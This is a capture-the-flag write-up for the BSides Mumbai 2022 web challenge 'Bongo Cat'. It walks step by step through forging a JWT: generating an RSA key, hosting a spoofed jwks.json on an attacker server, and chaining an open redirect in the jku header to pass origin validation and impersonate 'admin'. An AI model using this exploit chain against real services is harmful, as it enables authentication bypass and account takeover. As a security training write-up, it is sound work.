Bongo Cat
Write up of the BSides Mumbai CTF 2022 challenge Bongo Cat.
WEB
~4 minutes
BSides Mumbai - Bongo Cat
This writeup is based on the challenge "Bongo Cat" from the BSides Mumbai CTF 2022.
Only a link was given, and on the website, we could give a name to the website. Once the name given, we could see a cat playing the bongo drums with the name we gave.
if "admin" was given as the name, we were denied access and redirected to the home page.
Investigation
First sight of the challenge
Once "logged in" with something other that "admin", we can see that the website is using a JWT token to authenticate the user. The token is stored in the cookie of the browser.
Bongo cat and our name
We can decode the token using jwt.io. The token is a JWT token with the following header:
{
"alg": "RS256",
"typ": "JWT",
"jku": "http://34.133.45.223/.well-known/jwks.json"
}
and the following payload:
{
"user": "pimpmyshell"
}
I think we can start here !
Solution
By seeing the header, we can see that the token is signed with the RS256 algorithm. This algorithm uses a public key to verify the signature of the token. The public key is stored in the jku field of the header. This public key is a RSA public key.
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"alg": "RS256",
"n": "t036fB7up5nEX6B9EO-7JgRsJwL1yRbdIXqcOHl2UyXLFSUmG1I9BMIsXfdPNLL4Py0Nw5bjo7o7SrzQ5GWdht_bs3TGXbIL5GjQBZ9a7q6Uu08D_To47-uzmBi84zIDC023ThqPsaf4OGkmSYiC1DI4uumkcjgh7MNozUeQLo3fVw3tLHRhtxVmVrMr7kdSJWHpm4EEU9r7ozXcV8kPjOIqBXVCxrTql1NtMKe-fVcvpYQ9He1NBRTgFNFvc1j7ZQB7cd1b8o79qLIFH6EZmsLoOPgxeo6anIkfmnWb6lKbMK99n4Gyqdr9y88b3Fe6nM3T9mJEedLElsnfkf0jIufbt-3KhXxXp1kQTrQnFq3pOKSDoUS4ekEPOPCe9GAh6fchgG0y3IDsVZ22QG5DIERN4M-GMlRIxw6n1vAi1smmjoLYo282LHA-lVssKeI4uofgulLJwR5Z3qZWmxNNky_9NxuhNEw0CUFNgzOzywQB7mGS2gunqn2UnGOf2hA47SGGewUiDYvDEnRQW-dIAD6udw3wy_BvCb4zVaKAcQnDHrGJKX04TExa6dN7apwjO1LVGvnswHHhQKThbI_Sj_joNx7qBMU_EaqWCj2KYlzARuzacOreW6l-UQIrpgSII2X6nDHenkCrCKW0SrhcZOlrESNYVm8vxT4b3bUK9Kc"
}
jwks.json on their website
JWKS Spoofing is a vulnerability that allows an attacker to use a public key that he controls to sign a JWT token, and that might be our case here. The public key is stored on the website, and we can use it to sign a token. It is a good thing that we can manipulate the header and the payload of the token, by changing the jku field of the header, and the user field of the payload.
For this exploit, we will need a server and ssh into it, and generate a public/private key pair. We will use the private key to sign the token, and the public key to verify the signature. Type the following command to generate the key pair:
ssh-keygen -t rsa -b 2048 -m PEM -f id_rsa
and convert the public key to a PEM format:
openssl rsa -in id_rsa -pubout -outform PEM -out id_rsa.pub
Then we will need to use a nodejs script to get the exponent and modulus of the public key. We can use the following script, to replace them in the jwks.json file:
But first, we need to install the rsa-pem-to-jwk package:
npm install rsa-pem-to-jwk
Then we can use the following script to generate the token:
const fs = require("fs");
const jwk = require("rsa-pem-to-jwk");
const privateKey = fs.readFileSync("id_rsa");
const t = jwk(privateKey, { use: "sig" }, "public");
console.log("e = ", t.e); // get exponent
console.log("n = ", t.n); // get modulus
We got :
e = AQAB
n = AMtpDjg7XQ9nShAtV1VAy48nd0p_tYpwhOFxTDBzkgCJzWr2pE1TpyWhwB-gQYruLqrb896vDp-yaskJsTYvAiM2iPAPMJpB0QKnhilx71i5YT-5wBAKaCDzMqNBMY8Nw4AvPBY8B16aoaiLcn7Ghn69CaWqbpj8r2DlcpFfyaKDKGCYDtmXxM7gUm5n05h2vEruyky7yZLGsOdv0MA9nhShwOCI-z6OUQ30yn8pN_pWduukDu5fysM2RPHj-8ran7DQcHna2kGsRaAvswARHNq_qHLzCfcxi385K6fbHNv1409xtqNJ5HR5O9TB9qaI-aiFBi_KBd1blMM-G0EchGc
We can now download the original jwks.json file, and replace the exponent and modulus with the ones we got from the script. We can now use the public key to sign a token, and use the private key to verify the signature.
wget http://34.133.45.223/.well-known/jwks.json
We then replace the exponent and modulus with the ones we got from the script :
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"alg": "RS256",
"n": "AMtpDjg7XQ9nShAtV1VAy48nd0p_tYpwhOFxTDBzkgCJzWr2pE1TpyWhwB-gQYruLqrb896vDp-yaskJsTYvAiM2iPAPMJpB0QKnhilx71i5YT-5wBAKaCDzMqNBMY8Nw4AvPBY8B16aoaiLcn7Ghn69CaWqbpj8r2DlcpFfyaKDKGCYDtmXxM7gUm5n05h2vEruyky7yZLGsOdv0MA9nhShwOCI-z6OUQ30yn8pN_pWduukDu5fysM2RPHj-8ran7DQcHna2kGsRaAvswARHNq_qHLzCfcxi385K6fbHNv1409xtqNJ5HR5O9TB9qaI-aiFBi_KBd1blMM-G0EchGc"
}
Local modified version of jwks.json
We can now launch a python server to serve the jwks.json file:
python3 -m http.server 8080
and then re-open jwt.io with our previous data, modify the jku field to point to our server, and sign the token with the private key.
{
"alg": "RS256",
"typ": "JWT",
"jku": "http://yourserver:8080/jwks.json"
}
Header
{
"user": "admin"
}
Payload
We can now modify our cookie with the new token, and refresh the page, and ...
Oops
Jku validation failed, jku url doesnt match with origin host
If we inspect a little bit more the login process, we can see this in the network tab of the browser:
We can see that a route exist that make a redirection to a given url :
redirect_uri=/dashboard
We may put out website as a redirect_uri, and see what happens. We can use the following payload to do so, here is the new payload :
{
"alg": "RS256",
"typ": "JWT",
"jku": "http://34.133.45.223/?redirect_uri=http://yourserver:8080/jwks.json"
}
We can now set our new cookie, and refresh the page, and we get the flag !
Bingo
Usefull Links